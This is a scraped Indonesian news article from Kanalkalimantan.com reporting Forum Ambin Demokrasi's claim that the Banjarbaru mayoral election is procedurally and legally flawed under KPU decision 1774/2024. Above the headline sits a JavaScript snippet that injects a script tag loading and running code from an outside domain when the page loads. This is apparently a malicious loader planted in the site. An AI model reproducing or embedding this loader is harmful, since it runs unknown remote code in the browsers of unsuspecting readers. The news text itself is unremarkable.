(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU – Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru yang dilakukan oleh Komisi Pemilihan Umum (KPU) Kota Banjarbaru.

Menyusul diterbitkannya Keputusan Komisi Pemilihan Umum (Kpt) Nomor 1774 Tahun 2024 tentang Pedoman Teknis Pelaksanaan Pemungutan dan Perhitungan Suara dalam Pilkada 2024.

Sebagai organisasi masyarakat sipil yang peduli terhadap perhelatan Pilkada yang demokratis, jujur, adil, dan bermartabat mereka menyatakan pendapatnya.

Pertama, salah satu pegiat Forum Ambin Demokrasi, Noorhalis Majid berpendapat semua potensi kekacauan Pilwali Banjarbaru terjadi karena KPU Kota Banjarbaru tidak melaksanakan Undang-Undang dan PKPU terkait Pilkada dengan hanya satu calon.

“Kedua KPU RI melalui putusannya Nomor 1774 telah mengamputasi hak pilih warga yang punya hak untuk memilih selain calon yang ada,” ujar Noorhalis Majid.

Poin ketiga, pihaknya menyesalkan sikap KPU RI yang tidak mempedomani Undang-Undang dan PKPU Pilkada dengan hanya satu calon dan menerbitkan peraturan teknis yang justru menjadi alat pembenar atas sikap KPU Kota Banjarbaru yang tidak melaksanakan Undang-Undang.

Di sisi lain pihaknya menyatakan bahwa dalam situasi seperti ini, warga dapat menggugat proses Pilkada dan hasilnya, untuk menguji keputusan KPU RI yang bertentangan dengan Undang-Undang.

Pihaknya berpendapat Pilwali Banjarbaru sudah tidak sesuai dengan Undang-Undang Pilkada, utamanya terkait ketentuan Pilkada dengan hanya satu calon.

Baca juga: FDM HSU Ajak Masyarakat Awasi Pilkada 2024

“‘Maka Pilkada Kota Banjarbaru cacat prosedural, cacat hukum dan tidak sah, menjadi demokrasi yang hampa, sehingga seluruh proses dan hasilnya kehilangan makna dan bisa dibatalkan,” tandas dia.(Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie